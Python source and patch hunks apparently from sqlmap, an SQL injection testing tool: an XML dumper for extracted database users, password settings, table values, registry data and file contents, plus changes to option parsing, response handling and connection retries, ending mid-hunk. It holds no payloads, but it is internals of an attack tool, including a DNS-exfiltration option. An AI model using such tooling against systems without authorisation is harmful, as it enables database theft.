BANNER_ELEM_NAME = "Banner"
|
||||
COLUMNS_ELEM_NAME = "DatabaseColumns"
|
||||
COLUMN_ELEM_NAME = "Column"
|
||||
CELL_ELEM_NAME = "Cell"
|
||||
COLUMN_ATTR = "column"
|
||||
ROW_ELEM_NAME = "Row"
|
||||
TABLES_ELEM_NAME = "tables"
|
||||
DATABASE_COLUMNS_ELEM = "DB"
|
||||
DB_TABLES_ELEM_NAME = "DBTables"
|
||||
DB_TABLE_ELEM_NAME = "DBTable"
|
||||
IS_DBA_ELEM_NAME = "isDBA"
|
||||
FILE_CONTENT_ELEM_NAME = "FileContent"
|
||||
DB_ATTR = "db"
|
||||
UNKNOWN_COLUMN_TYPE = "unknown"
|
||||
USER_SETTINGS_ELEM_NAME = "UserSettings"
|
||||
USER_SETTING_ELEM_NAME = "UserSetting"
|
||||
USERS_ELEM_NAME = "Users"
|
||||
USER_ELEM_NAME = "User"
|
||||
DB_USER_ELEM_NAME = "DBUser"
|
||||
SETTINGS_ELEM_NAME = "Settings"
|
||||
DBS_ELEM_NAME = "DBs"
|
||||
DB_NAME_ELEM_NAME = "DBName"
|
||||
DATABASE_ELEM_NAME = "Database"
|
||||
TABLE_ELEM_NAME = "Table"
|
||||
DB_TABLE_VALUES_ELEM_NAME = "DBTableValues"
|
||||
DB_VALUES_ELEM = "DBValues"
|
||||
QUERIES_ELEM_NAME = "Queries"
|
||||
QUERY_ELEM_NAME = "Query"
|
||||
REGISTERY_ENTRIES_ELEM_NAME = "RegistryEntries"
|
||||
REGISTER_DATA_ELEM_NAME = "RegisterData"
|
||||
DEFAULT_DB = "All"
|
||||
MESSAGE_ELEM = "Message"
|
||||
MESSAGES_ELEM_NAME = "Messages"
|
||||
ERROR_ELEM_NAME = "Error"
|
||||
LST_ELEM_NAME = "List"
|
||||
LSTS_ELEM_NAME = "Lists"
|
||||
CURRENT_USER_ELEM_NAME = "CurrentUser"
|
||||
CURRENT_DB_ELEM_NAME = "CurrentDB"
|
||||
MEMBER_ELEM = "Member"
|
||||
ADMIN_USER = "Admin"
|
||||
REGULAR_USER = "User"
|
||||
STATUS_ELEM_NAME = "Status"
|
||||
RESULTS_ELEM_NAME = "Results"
|
||||
UNHANDLED_PROBLEM_TYPE = "Unhandled"
|
||||
NAME_ATTR = "name"
|
||||
TYPE_ATTR = "type"
|
||||
VALUE_ATTR = "value"
|
||||
SUCESS_ATTR = "success"
|
||||
NAME_SPACE_ATTR = 'http://www.w3.org/2001/XMLSchema-instance'
|
||||
XMLNS_ATTR = "xmlns:xsi"
|
||||
SCHEME_NAME = "sqlmap.xsd"
|
||||
SCHEME_NAME_ATTR = "xsi:noNamespaceSchemaLocation"
|
||||
CHARACTERS_TO_ENCODE = range(32) + range(127, 256)
|
||||
ENTITIES = {'"': '"', "'": "'"}
|
||||
|
||||
class XMLDump(object):
|
||||
'''
|
||||
This class purpose is to dump the data into an xml Format.
|
||||
The format of the xml file is described in the scheme file xml/sqlmap.xsd
|
||||
'''
|
||||
|
||||
def __init__(self):
|
||||
self._outputFile = None
|
||||
self._outputFP = None
|
||||
self.__root = None
|
||||
self.__doc = Document()
|
||||
|
||||
def _addToRoot(self, element):
|
||||
'''
|
||||
Adds element to the root element
|
||||
'''
|
||||
self.__root.appendChild(element)
|
||||
|
||||
def __write(self, data, n=True):
|
||||
'''
|
||||
Writes the data into the file
|
||||
'''
|
||||
if n:
|
||||
self._outputFP.write("%s\n" % data)
|
||||
else:
|
||||
self._outputFP.write("%s " % data)
|
||||
|
||||
self._outputFP.flush()
|
||||
|
||||
kb.dataOutputFlag = True
|
||||
|
||||
def _getRootChild(self, elemName):
|
||||
'''
|
||||
Returns the child of the root with the described name
|
||||
'''
|
||||
elements = self.__root.getElementsByTagName(elemName)
|
||||
if elements:
|
||||
return elements[0]
|
||||
|
||||
return elements
|
||||
|
||||
def _createTextNode(self, data):
|
||||
'''
|
||||
Creates a text node with utf8 data inside.
|
||||
The text is escaped to an fit the xml text Format.
|
||||
'''
|
||||
if data is None:
|
||||
return self.__doc.createTextNode(u'')
|
||||
else:
|
||||
escaped_data = saxutils.escape(data, ENTITIES)
|
||||
return self.__doc.createTextNode(escaped_data)
|
||||
|
||||
def _createAttribute(self, attrName, attrValue):
|
||||
'''
|
||||
Creates an attribute node with utf8 data inside.
|
||||
The text is escaped to an fit the xml text Format.
|
||||
'''
|
||||
attr = self.__doc.createAttribute(attrName)
|
||||
if attrValue is None:
|
||||
attr.nodeValue = u''
|
||||
else:
|
||||
attr.nodeValue = getUnicode(attrValue)
|
||||
return attr
|
||||
|
||||
def string(self, header, data, sort=True):
|
||||
'''
|
||||
Adds string element to the xml.
|
||||
'''
|
||||
if isinstance(data, (list, tuple, set)):
|
||||
self.lister(header, data, sort)
|
||||
return
|
||||
|
||||
messagesElem = self._getRootChild(MESSAGES_ELEM_NAME)
|
||||
if (not(messagesElem)):
|
||||
messagesElem = self.__doc.createElement(MESSAGES_ELEM_NAME)
|
||||
self._addToRoot(messagesElem)
|
||||
|
||||
if data:
|
||||
data = self._formatString(data)
|
||||
else:
|
||||
data = ""
|
||||
|
||||
elem = self.__doc.createElement(MESSAGE_ELEM)
|
||||
elem.setAttributeNode(self._createAttribute(TYPE_ATTR, header))
|
||||
elem.appendChild(self._createTextNode(data))
|
||||
messagesElem.appendChild(elem)
|
||||
|
||||
def lister(self, header, elements, sort=True):
|
||||
'''
|
||||
Adds information formatted as list element
|
||||
'''
|
||||
lstElem = self.__doc.createElement(LST_ELEM_NAME)
|
||||
lstElem.setAttributeNode(self._createAttribute(TYPE_ATTR, header))
|
||||
if elements:
|
||||
if sort:
|
||||
try:
|
||||
elements = set(elements)
|
||||
elements = list(elements)
|
||||
elements.sort(key=lambda x: x.lower())
|
||||
except:
|
||||
pass
|
||||
|
||||
for element in elements:
|
||||
memberElem = self.__doc.createElement(MEMBER_ELEM)
|
||||
lstElem.appendChild(memberElem)
|
||||
if isinstance(element, basestring):
|
||||
memberElem.setAttributeNode(self._createAttribute(TYPE_ATTR, "string"))
|
||||
memberElem.appendChild(self._createTextNode(element))
|
||||
elif isinstance(element, (list, tuple, set)):
|
||||
memberElem.setAttributeNode(self._createAttribute(TYPE_ATTR, "list"))
|
||||
for e in element:
|
||||
memberElemStr = self.__doc.createElement(MEMBER_ELEM)
|
||||
memberElemStr.setAttributeNode(self._createAttribute(TYPE_ATTR, "string"))
|
||||
memberElemStr.appendChild(self._createTextNode(getUnicode(e)))
|
||||
memberElem.appendChild(memberElemStr)
|
||||
listsElem = self._getRootChild(LSTS_ELEM_NAME)
|
||||
if not(listsElem):
|
||||
listsElem = self.__doc.createElement(LSTS_ELEM_NAME)
|
||||
self._addToRoot(listsElem)
|
||||
listsElem.appendChild(lstElem)
|
||||
|
||||
def technic(self, technicType, data):
|
||||
'''
|
||||
Adds information about the technic used to extract data from the db
|
||||
'''
|
||||
technicElem = self.__doc.createElement(TECHNIC_ELEM_NAME)
|
||||
technicElem.setAttributeNode(self._createAttribute(TYPE_ATTR, technicType))
|
||||
textNode = self._createTextNode(data)
|
||||
technicElem.appendChild(textNode)
|
||||
technicsElem = self._getRootChild(TECHNICS_ELEM_NAME)
|
||||
if not(technicsElem):
|
||||
technicsElem = self.__doc.createElement(TECHNICS_ELEM_NAME)
|
||||
self._addToRoot(technicsElem)
|
||||
technicsElem.appendChild(technicElem)
|
||||
|
||||
def banner(self, data):
|
||||
'''
|
||||
Adds information about the database banner to the xml.
|
||||
The banner contains information about the type and the version of the database.
|
||||
'''
|
||||
bannerElem = self.__doc.createElement(BANNER_ELEM_NAME)
|
||||
bannerElem.appendChild(self._createTextNode(data))
|
||||
self._addToRoot(bannerElem)
|
||||
|
||||
def currentUser(self, data):
|
||||
'''
|
||||
Adds information about the current database user to the xml
|
||||
'''
|
||||
currentUserElem = self.__doc.createElement(CURRENT_USER_ELEM_NAME)
|
||||
textNode = self._createTextNode(data)
|
||||
currentUserElem.appendChild(textNode)
|
||||
self._addToRoot(currentUserElem)
|
||||
|
||||
def currentDb(self, data):
|
||||
'''
|
||||
Adds information about the current database is use to the xml
|
||||
'''
|
||||
currentDBElem = self.__doc.createElement(CURRENT_DB_ELEM_NAME)
|
||||
textNode = self._createTextNode(data)
|
||||
currentDBElem.appendChild(textNode)
|
||||
self._addToRoot(currentDBElem)
|
||||
|
||||
def dba(self, isDBA):
|
||||
'''
|
||||
Adds information to the xml that indicates whether the user has DBA privileges
|
||||
'''
|
||||
isDBAElem = self.__doc.createElement(IS_DBA_ELEM_NAME)
|
||||
isDBAElem.setAttributeNode(self._createAttribute(VALUE_ATTR, getUnicode(isDBA)))
|
||||
self._addToRoot(isDBAElem)
|
||||
|
||||
def users(self, users):
|
||||
'''
|
||||
Adds a list of the existing users to the xml
|
||||
'''
|
||||
usersElem = self.__doc.createElement(USERS_ELEM_NAME)
|
||||
if isinstance(users, basestring):
|
||||
users = [users]
|
||||
if users:
|
||||
for user in users:
|
||||
userElem = self.__doc.createElement(DB_USER_ELEM_NAME)
|
||||
usersElem.appendChild(userElem)
|
||||
userElem.appendChild(self._createTextNode(user))
|
||||
self._addToRoot(usersElem)
|
||||
|
||||
def dbs(self, dbs):
|
||||
'''
|
||||
Adds a list of the existing databases to the xml
|
||||
'''
|
||||
dbsElem = self.__doc.createElement(DBS_ELEM_NAME)
|
||||
if dbs:
|
||||
for db in dbs:
|
||||
dbElem = self.__doc.createElement(DB_NAME_ELEM_NAME)
|
||||
dbsElem.appendChild(dbElem)
|
||||
dbElem.appendChild(self._createTextNode(db))
|
||||
self._addToRoot(dbsElem)
|
||||
|
||||
def userSettings(self, header, userSettings, subHeader):
|
||||
'''
|
||||
Adds information about the user's settings to the xml.
|
||||
The information can be user's passwords, privileges and etc..
|
||||
'''
|
||||
self._areAdmins = set()
|
||||
userSettingsElem = self._getRootChild(USER_SETTINGS_ELEM_NAME)
|
||||
if (not(userSettingsElem)):
|
||||
userSettingsElem = self.__doc.createElement(USER_SETTINGS_ELEM_NAME)
|
||||
self._addToRoot(userSettingsElem)
|
||||
|
||||
userSettingElem = self.__doc.createElement(USER_SETTING_ELEM_NAME)
|
||||
userSettingElem.setAttributeNode(self._createAttribute(TYPE_ATTR, header))
|
||||
|
||||
if isinstance(userSettings, (tuple, list, set)):
|
||||
self._areAdmins = userSettings[1]
|
||||
userSettings = userSettings[0]
|
||||
|
||||
users = userSettings.keys()
|
||||
users.sort(key=lambda x: x.lower())
|
||||
|
||||
for user in users:
|
||||
userElem = self.__doc.createElement(USER_ELEM_NAME)
|
||||
userSettingElem.appendChild(userElem)
|
||||
if user in self._areAdmins:
|
||||
userElem.setAttributeNode(self._createAttribute(TYPE_ATTR, ADMIN_USER))
|
||||
else:
|
||||
userElem.setAttributeNode(self._createAttribute(TYPE_ATTR, REGULAR_USER))
|
||||
|
||||
settings = userSettings[user]
|
||||
|
||||
settings.sort()
|
||||
|
||||
for setting in settings:
|
||||
settingsElem = self.__doc.createElement(SETTINGS_ELEM_NAME)
|
||||
settingsElem.setAttributeNode(self._createAttribute(TYPE_ATTR, subHeader))
|
||||
settingTextNode = self._createTextNode(setting)
|
||||
settingsElem.appendChild(settingTextNode)
|
||||
userElem.appendChild(settingsElem)
|
||||
userSettingsElem.appendChild(userSettingElem)
|
||||
|
||||
def dbTables(self, dbTables):
|
||||
'''
|
||||
Adds information of the existing db tables to the xml
|
||||
'''
|
||||
if not isinstance(dbTables, dict):
|
||||
self.string(TABLES_ELEM_NAME, dbTables)
|
||||
return
|
||||
|
||||
dbTablesElem = self.__doc.createElement(DB_TABLES_ELEM_NAME)
|
||||
|
||||
for db, tables in dbTables.items():
|
||||
tables.sort(key=lambda x: x.lower())
|
||||
dbElem = self.__doc.createElement(DATABASE_ELEM_NAME)
|
||||
dbElem.setAttributeNode(self._createAttribute(NAME_ATTR, db))
|
||||
dbTablesElem.appendChild(dbElem)
|
||||
for table in tables:
|
||||
tableElem = self.__doc.createElement(DB_TABLE_ELEM_NAME)
|
||||
tableElem.appendChild(self._createTextNode(table))
|
||||
dbElem.appendChild(tableElem)
|
||||
self._addToRoot(dbTablesElem)
|
||||
|
||||
def dbTableColumns(self, tableColumns):
|
||||
'''
|
||||
Adds information about the columns of the existing tables to the xml
|
||||
'''
|
||||
|
||||
columnsElem = self._getRootChild(COLUMNS_ELEM_NAME)
|
||||
if not(columnsElem):
|
||||
columnsElem = self.__doc.createElement(COLUMNS_ELEM_NAME)
|
||||
|
||||
for db, tables in tableColumns.items():
|
||||
if not db:
|
||||
db = DEFAULT_DB
|
||||
dbElem = self.__doc.createElement(DATABASE_COLUMNS_ELEM)
|
||||
dbElem.setAttributeNode(self._createAttribute(NAME_ATTR, db))
|
||||
columnsElem.appendChild(dbElem)
|
||||
|
||||
for table, columns in tables.items():
|
||||
tableElem = self.__doc.createElement(TABLE_ELEM_NAME)
|
||||
tableElem.setAttributeNode(self._createAttribute(NAME_ATTR, table))
|
||||
|
||||
colList = columns.keys()
|
||||
colList.sort(key=lambda x: x.lower())
|
||||
|
||||
for column in colList:
|
||||
colType = columns[column]
|
||||
colElem = self.__doc.createElement(COLUMN_ELEM_NAME)
|
||||
if colType is not None:
|
||||
colElem.setAttributeNode(self._createAttribute(TYPE_ATTR, colType))
|
||||
else:
|
||||
colElem.setAttributeNode(self._createAttribute(TYPE_ATTR, UNKNOWN_COLUMN_TYPE))
|
||||
colElem.appendChild(self._createTextNode(column))
|
||||
tableElem.appendChild(colElem)
|
||||
|
||||
self._addToRoot(columnsElem)
|
||||
|
||||
def dbTableValues(self, tableValues):
|
||||
'''
|
||||
Adds the values of specific table to the xml.
|
||||
The values are organized according to the relevant row and column.
|
||||
'''
|
||||
tableElem = self.__doc.createElement(DB_TABLE_VALUES_ELEM_NAME)
|
||||
if (tableValues is not None):
|
||||
db = tableValues["__infos__"]["db"]
|
||||
if not db:
|
||||
db = "All"
|
||||
table = tableValues["__infos__"]["table"]
|
||||
|
||||
count = int(tableValues["__infos__"]["count"])
|
||||
columns = tableValues.keys()
|
||||
columns.sort(key=lambda x: x.lower())
|
||||
|
||||
tableElem.setAttributeNode(self._createAttribute(DB_ATTR, db))
|
||||
tableElem.setAttributeNode(self._createAttribute(NAME_ATTR, table))
|
||||
|
||||
for i in range(count):
|
||||
rowElem = self.__doc.createElement(ROW_ELEM_NAME)
|
||||
tableElem.appendChild(rowElem)
|
||||
for column in columns:
|
||||
if column != "__infos__":
|
||||
info = tableValues[column]
|
||||
value = info["values"][i]
|
||||
|
||||
if re.search("^[\ *]*$", value):
|
||||
value = "NULL"
|
||||
|
||||
cellElem = self.__doc.createElement(CELL_ELEM_NAME)
|
||||
cellElem.setAttributeNode(self._createAttribute(COLUMN_ATTR, column))
|
||||
cellElem.appendChild(self._createTextNode(value))
|
||||
rowElem.appendChild(cellElem)
|
||||
|
||||
dbValuesElem = self._getRootChild(DB_VALUES_ELEM)
|
||||
if (not(dbValuesElem)):
|
||||
dbValuesElem = self.__doc.createElement(DB_VALUES_ELEM)
|
||||
self._addToRoot(dbValuesElem)
|
||||
|
||||
dbValuesElem.appendChild(tableElem)
|
||||
|
||||
logger.info("Table '%s.%s' dumped to XML file" % (db, table))
|
||||
|
||||
def dbColumns(self, dbColumns, colConsider, dbs):
|
||||
'''
|
||||
Adds information about the columns
|
||||
'''
|
||||
for column in dbColumns.keys():
|
||||
printDbs = {}
|
||||
for db, tblData in dbs.items():
|
||||
for tbl, colData in tblData.items():
|
||||
for col, dataType in colData.items():
|
||||
if column in col:
|
||||
if db in printDbs:
|
||||
if tbl in printDbs[db]:
|
||||
printDbs[db][tbl][col] = dataType
|
||||
else:
|
||||
printDbs[db][tbl] = {col: dataType}
|
||||
else:
|
||||
printDbs[db] = {}
|
||||
printDbs[db][tbl] = {col: dataType}
|
||||
|
||||
continue
|
||||
|
||||
self.dbTableColumns(printDbs)
|
||||
|
||||
def query(self, query, queryRes):
|
||||
'''
|
||||
Adds details of an executed query to the xml.
|
||||
The query details are the query itself and its results.
|
||||
'''
|
||||
queryElem = self.__doc.createElement(QUERY_ELEM_NAME)
|
||||
queryElem.setAttributeNode(self._createAttribute(VALUE_ATTR, query))
|
||||
queryElem.appendChild(self._createTextNode(queryRes))
|
||||
queriesElem = self._getRootChild(QUERIES_ELEM_NAME)
|
||||
if (not(queriesElem)):
|
||||
queriesElem = self.__doc.createElement(QUERIES_ELEM_NAME)
|
||||
self._addToRoot(queriesElem)
|
||||
queriesElem.appendChild(queryElem)
|
||||
|
||||
def registerValue(self, registerData):
|
||||
'''
|
||||
Adds information about an extracted registry key to the xml
|
||||
'''
|
||||
registerElem = self.__doc.createElement(REGISTER_DATA_ELEM_NAME)
|
||||
registerElem.appendChild(self._createTextNode(registerData))
|
||||
registriesElem = self._getRootChild(REGISTERY_ENTRIES_ELEM_NAME)
|
||||
if (not(registriesElem)):
|
||||
registriesElem = self.__doc.createElement(REGISTERY_ENTRIES_ELEM_NAME)
|
||||
self._addToRoot(registriesElem)
|
||||
registriesElem.appendChild(registerElem)
|
||||
|
||||
def rFile(self, filePath, data):
|
||||
'''
|
||||
Adds an extracted file's content to the xml
|
||||
'''
|
||||
fileContentElem = self.__doc.createElement(FILE_CONTENT_ELEM_NAME)
|
||||
fileContentElem.setAttributeNode(self._createAttribute(NAME_ATTR, filePath))
|
||||
fileContentElem.appendChild(self._createTextNode(data))
|
||||
self._addToRoot(fileContentElem)
|
||||
|
||||
def setOutputFile(self):
|
||||
'''
|
||||
Initiates the xml file from the configuration.
|
||||
'''
|
||||
if (conf.xmlFile):
|
||||
try:
|
||||
self._outputFile = conf.xmlFile
|
||||
self.__root = None
|
||||
|
||||
if os.path.exists(self._outputFile):
|
||||
try:
|
||||
self.__doc = xml.dom.minidom.parse(self._outputFile)
|
||||
self.__root = self.__doc.childNodes[0]
|
||||
except ExpatError:
|
||||
self.__doc = Document()
|
||||
|
||||
self._outputFP = codecs.open(self._outputFile, "w+", UNICODE_ENCODING)
|
||||
|
||||
if self.__root is None:
|
||||
self.__root = self.__doc.createElementNS(NAME_SPACE_ATTR, RESULTS_ELEM_NAME)
|
||||
self.__root.setAttributeNode(self._createAttribute(XMLNS_ATTR, NAME_SPACE_ATTR))
|
||||
self.__root.setAttributeNode(self._createAttribute(SCHEME_NAME_ATTR, SCHEME_NAME))
|
||||
self.__doc.appendChild(self.__root)
|
||||
except IOError:
|
||||
raise SqlmapFilePathException("Wrong filename provided for saving the xml file: %s" % conf.xmlFile)
|
||||
|
||||
def getOutputFile(self):
|
||||
return self._outputFile
|
||||
|
||||
def finish(self, resultStatus, resultMsg=""):
|
||||
'''
|
||||
Finishes the dumper operation:
|
||||
1. Adds the session status to the xml
|
||||
2. Writes the xml to the file
|
||||
3. Closes the xml file
|
||||
'''
|
||||
if ((self._outputFP is not None) and not(self._outputFP.closed)):
|
||||
statusElem = self.__doc.createElement(STATUS_ELEM_NAME)
|
||||
statusElem.setAttributeNode(self._createAttribute(SUCESS_ATTR, getUnicode(resultStatus)))
|
||||
|
||||
if not resultStatus:
|
||||
errorElem = self.__doc.createElement(ERROR_ELEM_NAME)
|
||||
|
||||
if isinstance(resultMsg, Exception):
|
||||
errorElem.setAttributeNode(self._createAttribute(TYPE_ATTR, type(resultMsg).__name__))
|
||||
else:
|
||||
errorElem.setAttributeNode(self._createAttribute(TYPE_ATTR, UNHANDLED_PROBLEM_TYPE))
|
||||
|
||||
errorElem.appendChild(self._createTextNode(getUnicode(resultMsg)))
|
||||
statusElem.appendChild(errorElem)
|
||||
|
||||
self._addToRoot(statusElem)
|
||||
self.__write(prettyprint.formatXML(self.__doc, encoding=UNICODE_ENCODING))
|
||||
self._outputFP.close()
|
||||
|
||||
|
||||
def closeDumper(status, msg=""):
|
||||
"""
|
||||
Closes the dumper of the session
|
||||
"""
|
||||
|
||||
if hasattr(conf, "dumper") and hasattr(conf.dumper, "finish"):
|
||||
conf.dumper.finish(status, msg)
|
||||
|
||||
dumper = XMLDump()
|
||||
+26
-7
@@ -152,6 +152,15 @@ def cmdLineParser(argv=None):
|
||||
request.add_option("--ignore-401", dest="ignore401", action="store_true",
|
||||
help="Ignore HTTP Error 401 (Unauthorized)")
|
||||
|
||||
request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true",
|
||||
help="Ignore system default proxy settings")
|
||||
|
||||
request.add_option("--ignore-redirects", dest="ignoreRedirects", action="store_true",
|
||||
help="Ignore redirection attempts")
|
||||
|
||||
request.add_option("--ignore-timeouts", dest="ignoreTimeouts", action="store_true",
|
||||
help="Ignore connection timeouts")
|
||||
|
||||
request.add_option("--proxy", dest="proxy",
|
||||
help="Use a proxy to connect to the target URL")
|
||||
|
||||
@@ -162,9 +171,6 @@ def cmdLineParser(argv=None):
|
||||
request.add_option("--proxy-file", dest="proxyFile",
|
||||
help="Load proxy list from a file")
|
||||
|
||||
request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true",
|
||||
help="Ignore system default proxy settings")
|
||||
|
||||
request.add_option("--tor", dest="tor",
|
||||
action="store_true",
|
||||
help="Use Tor anonymity network")
|
||||
@@ -261,7 +267,7 @@ def cmdLineParser(argv=None):
|
||||
help="Skip testing for given parameter(s)")
|
||||
|
||||
injection.add_option("--skip-static", dest="skipStatic", action="store_true",
|
||||
help="Skip testing parameters that not appear dynamic")
|
||||
help="Skip testing parameters that not appear to be dynamic")
|
||||
|
||||
injection.add_option("--dbms", dest="dbms",
|
||||
help="Force back-end DBMS to this value")
|
||||
@@ -361,7 +367,7 @@ def cmdLineParser(argv=None):
|
||||
techniques.add_option("--union-from", dest="uFrom",
|
||||
help="Table to use in FROM part of UNION query SQL injection")
|
||||
|
||||
techniques.add_option("--dns-domain", dest="dnsName",
|
||||
techniques.add_option("--dns-domain", dest="dnsDomain",
|
||||
help="Domain name used for DNS exfiltration attack")
|
||||
|
||||
techniques.add_option("--second-order", dest="secondOrder",
|
||||
@@ -759,6 +765,9 @@ def cmdLineParser(argv=None):
|
||||
parser.add_option("--dummy", dest="dummy", action="store_true",
|
||||
help=SUPPRESS_HELP)
|
||||
|
||||
parser.add_option("--murphy-rate", dest="murphyRate", type="int",
|
||||
help=SUPPRESS_HELP)
|
||||
|
||||
parser.add_option("--pickled-options", dest="pickledOptions",
|
||||
help=SUPPRESS_HELP)
|
||||
|
||||
@@ -882,10 +891,12 @@ def cmdLineParser(argv=None):
|
||||
except ValueError, ex:
|
||||
raise SqlmapSyntaxException, "something went wrong during command line parsing ('%s')" % ex.message
|
||||
|
||||
# Hide non-basic options in basic help case
|
||||
for i in xrange(len(argv)):
|
||||
if argv[i] == "-hh":
|
||||
argv[i] = "-h"
|
||||
elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])):
|
||||
dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is, well, illegal (%s)\n" % argv[i])
|
||||
raise SystemExit
|
||||
elif re.search(r"\A-\w=.+", argv[i]):
|
||||
dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
|
||||
raise SystemExit
|
||||
@@ -898,7 +909,7 @@ def cmdLineParser(argv=None):
|
||||
elif argv[i] == "--version":
|
||||
print VERSION_STRING.split('/')[-1]
|
||||
raise SystemExit
|
||||
elif argv[i] == "-h":
|
||||
elif argv[i] in ("-h", "--help"):
|
||||
advancedHelp = False
|
||||
for group in parser.option_groups[:]:
|
||||
found = False
|
||||
@@ -910,6 +921,14 @@ def cmdLineParser(argv=None):
|
||||
if not found:
|
||||
parser.option_groups.remove(group)
|
||||
|
||||
for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)):
|
||||
try:
|
||||
if argv.index(verbosity) == len(argv) - 1 or not argv[argv.index(verbosity) + 1].isdigit():
|
||||
conf.verbose = verbosity.count('v') + 1
|
||||
del argv[argv.index(verbosity)]
|
||||
except (IndexError, ValueError):
|
||||
pass
|
||||
|
||||
try:
|
||||
(args, _) = parser.parse_args(argv)
|
||||
except UnicodeEncodeError, ex:
|
||||
|
||||
@@ -59,6 +59,13 @@ def htmlParser(page):
|
||||
|
||||
xmlfile = paths.ERRORS_XML
|
||||
handler = HTMLHandler(page)
|
||||
key = hash(page)
|
||||
|
||||
if key in kb.cache.parsedDbms:
|
||||
retVal = kb.cache.parsedDbms[key]
|
||||
if retVal:
|
||||
handler._markAsErrorPage()
|
||||
return retVal
|
||||
|
||||
parseXmlFile(xmlfile, handler)
|
||||
|
||||
@@ -68,6 +75,8 @@ def htmlParser(page):
|
||||
else:
|
||||
kb.lastParserStatus = None
|
||||
|
||||
kb.cache.parsedDbms[key] = handler.dbms
|
||||
|
||||
# generic SQL warning/error messages
|
||||
if re.search(r"SQL (warning|error|syntax)", page, re.I):
|
||||
handler._markAsErrorPage()
|
||||
|
||||
+13
-2
@@ -26,6 +26,7 @@ from lib.core.common import singleTimeWarnMessage
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.decorators import cachedmethod
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from lib.core.enums import PLACE
|
||||
@@ -136,6 +137,7 @@ def parseResponse(page, headers):
|
||||
if page:
|
||||
htmlParser(page)
|
||||
|
||||
@cachedmethod
|
||||
def checkCharEncoding(encoding, warn=True):
|
||||
"""
|
||||
Checks encoding name, repairs common misspellings and adjusts to
|
||||
@@ -230,7 +232,10 @@ def getHeuristicCharEncoding(page):
|
||||
Returns page encoding charset detected by usage of heuristics
|
||||
Reference: http://chardet.feedparser.org/docs/
|
||||
"""
|
||||
retVal = detect(page)["encoding"]
|
||||
|
||||
key = hash(page)
|
||||
retVal = kb.cache.encoding.get(key) or detect(page)["encoding"]
|
||||
kb.cache.encoding[key] = retVal
|
||||
|
||||
if retVal:
|
||||
infoMsg = "heuristics detected web page charset '%s'" % retVal
|
||||
@@ -336,6 +341,8 @@ def processResponse(page, responseHeaders):
|
||||
|
||||
if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS,):
|
||||
kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page)
|
||||
else:
|
||||
kb.tableFrom = None
|
||||
|
||||
if conf.parseErrors:
|
||||
msg = extractErrorMessage(page)
|
||||
@@ -351,7 +358,11 @@ def processResponse(page, responseHeaders):
|
||||
if PLACE.POST in conf.paramDict and name in conf.paramDict[PLACE.POST]:
|
||||
if conf.paramDict[PLACE.POST][name] in page:
|
||||
continue
|
||||
conf.paramDict[PLACE.POST][name] = value
|
||||
else:
|
||||
msg = "do you want to automatically adjust the value of '%s'? [y/N]" % name
|
||||
if readInput(msg, default='N').strip().upper() != 'Y':
|
||||
continue
|
||||
conf.paramDict[PLACE.POST][name] = value
|
||||
conf.parameters[PLACE.POST] = re.sub("(?i)(%s=)[^&]+" % name, r"\g<1>%s" % value, conf.parameters[PLACE.POST])
|
||||
|
||||
if not kb.captchaDetected and re.search(r"(?i)captcha", page or ""):
|
||||
|
||||
@@ -26,6 +26,7 @@ from lib.core.settings import MAX_RATIO
|
||||
from lib.core.settings import REFLECTED_VALUE_MARKER
|
||||
from lib.core.settings import LOWER_RATIO_BOUND
|
||||
from lib.core.settings import UPPER_RATIO_BOUND
|
||||
from lib.core.settings import URI_HTTP_HEADER
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
|
||||
def comparison(page, headers, code=None, getRatioValue=False, pageLength=None):
|
||||
@@ -48,7 +49,7 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
|
||||
threadData = getCurrentThreadData()
|
||||
|
||||
if kb.testMode:
|
||||
threadData.lastComparisonHeaders = listToStrValue(headers.headers) if headers else ""
|
||||
threadData.lastComparisonHeaders = listToStrValue([_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)]) if headers else ""
|
||||
threadData.lastComparisonPage = page
|
||||
threadData.lastComparisonCode = code
|
||||
|
||||
@@ -56,7 +57,7 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
|
||||
return None
|
||||
|
||||
if any((conf.string, conf.notString, conf.regexp)):
|
||||
rawResponse = "%s%s" % (listToStrValue(headers.headers) if headers else "", page)
|
||||
rawResponse = "%s%s" % (listToStrValue([_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)]) if headers else "", page)
|
||||
|
||||
# String to match in page when the query is True and/or valid
|
||||
if conf.string:
|
||||
|
||||
+39
-16
@@ -90,6 +90,8 @@ from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE
|
||||
from lib.core.settings import MAX_CONNECTION_CHUNK_SIZE
|
||||
from lib.core.settings import MAX_CONNECTIONS_REGEX
|
||||
from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
|
||||
from lib.core.settings import MAX_CONSECUTIVE_CONNECTION_ERRORS
|
||||
from lib.core.settings import MAX_MURPHY_SLEEP_TIME
|
||||
from lib.core.settings import META_REFRESH_REGEX
|
||||
from lib.core.settings import MIN_TIME_RESPONSES
|
||||
from lib.core.settings import IS_WIN
|
||||
@@ -224,8 +226,10 @@ class Connect(object):
|
||||
|
||||
if conf.offline:
|
||||
return None, None, None
|
||||
elif conf.dummy:
|
||||
return getUnicode(randomStr(int(randomInt()), alphabet=[chr(_) for _ in xrange(256)]), {}, int(randomInt())), None, None
|
||||
elif conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0:
|
||||
if conf.murphyRate:
|
||||
time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1))
|
||||
